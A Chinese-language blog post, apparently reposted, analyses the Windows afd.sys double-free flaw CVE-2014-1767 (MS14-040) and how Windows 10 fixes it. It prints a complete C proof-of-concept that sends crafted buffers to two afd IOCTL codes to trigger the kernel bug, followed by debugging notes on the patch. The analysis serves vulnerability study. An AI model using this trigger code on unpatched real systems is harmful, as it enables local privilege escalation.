• CVE20141767(MS14040)漏洞分析


    0x00漏洞信息

    分析系统:win7 sp1

    漏洞文件:afd.sys

    漏洞名称:Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability

    漏洞类型:本地权限提升

    0x01漏洞分析

    这是一个Double free 漏洞 把Double free 转换成 uaf  漏洞 简单点就是 释放重引用

    漏洞位置在  前面是控制码  后面是对应的函数

    0x1207F:afd!AfdTransmitFile

    0x120C3:afd!AfdTransmitPackets

    逐步分析这2个函数 漏洞原因  详细文章已经很多了 就不在分析了 可以看下面地址的应该是网上写的最详细的

    https://www.cnblogs.com/flycat-2016/p/5450275.html

    https://www.cnblogs.com/flycat-2016/p/5450328.html

    这里看一下 win10修复措施 根据poc 调试一下看如何修复的 

    调试的操作系统是 win10  64位 21h2

    poc

    #include<windows.h>
    #include<stdio.h>
    //#include <ws2def.h>
    #pragma comment(lib,"WS2_32.lib")
    
    int main()
    {
        DWORD targetSize = 0x310;
        DWORD virtualAddress = 0x13371337;
        DWORD mdlSize = (0x4000 * (targetSize - 0x30) / 8) - 0xFFF0 - (virtualAddress & 0xFFF);
        static DWORD inbuf1[100];
        memset(inbuf1, 0, sizeof(inbuf1));
        inbuf1[6] = virtualAddress;
        inbuf1[7] = mdlSize;
        inbuf1[10] = 1;
        static DWORD inbuf2[100];
        memset(inbuf2, 0, sizeof(inbuf2));
        inbuf2[0] = 1;
        inbuf2[1] = 0x0AAAAAAA;
        WSADATA WSAData;
        SOCKET s;
        sockaddr_in sa;
        int ierr;
        WSAStartup(0x2, &WSAData);
        s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        memset(&sa, 0, sizeof(sa));
        sa.sin_port = htons(135);
        sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
        sa.sin_family = AF_INET;
        ierr = connect(s, (const struct sockaddr*)&sa, sizeof(sa));
        static char outBuf[100];
        DWORD bytesRet;
        __debugbreak();
        DeviceIoControl((HANDLE)s, 0X1207F, (LPVOID)inbuf1, 0x40, outBuf, 0, &bytesRet, NULL);
        DeviceIoControl((HANDLE)s, 0X120C3, (LPVOID)inbuf2, 0x18, outBuf, 0, &bytesRet, NULL);
        return 0;
    }

    在AfdTransmitPackets和AfdTransmitFile 下断点看  判断是否是32位

     32位长度不能小于0x30 64位传入长度不能小于0x40  

     3环地址验证

    接着创建tpinfo

     

    后面就是调用报错 在释放后  关键点 count被清除

     

     接着就是AfdTransmitPackets 调试 长度限制

     让后就是 关键判断了  count已经被清除不会走释放代码

  • 相关阅读:
    软件工程第六次作业
    软件工程第五次作业
    软件工程第四次作业
    软件工程第三次作业
    软件工程第二次作业
    软件工程第一次作业
    《CLSZS团队》:团队项目选题报告
    计算机软件工程 作业五
    计算机软件工程 作业四
    计算机软件工程 作业三
  • 原文地址:https://www.cnblogs.com/feizianquan/p/15972648.html
Copyright © 2020-2023  润新知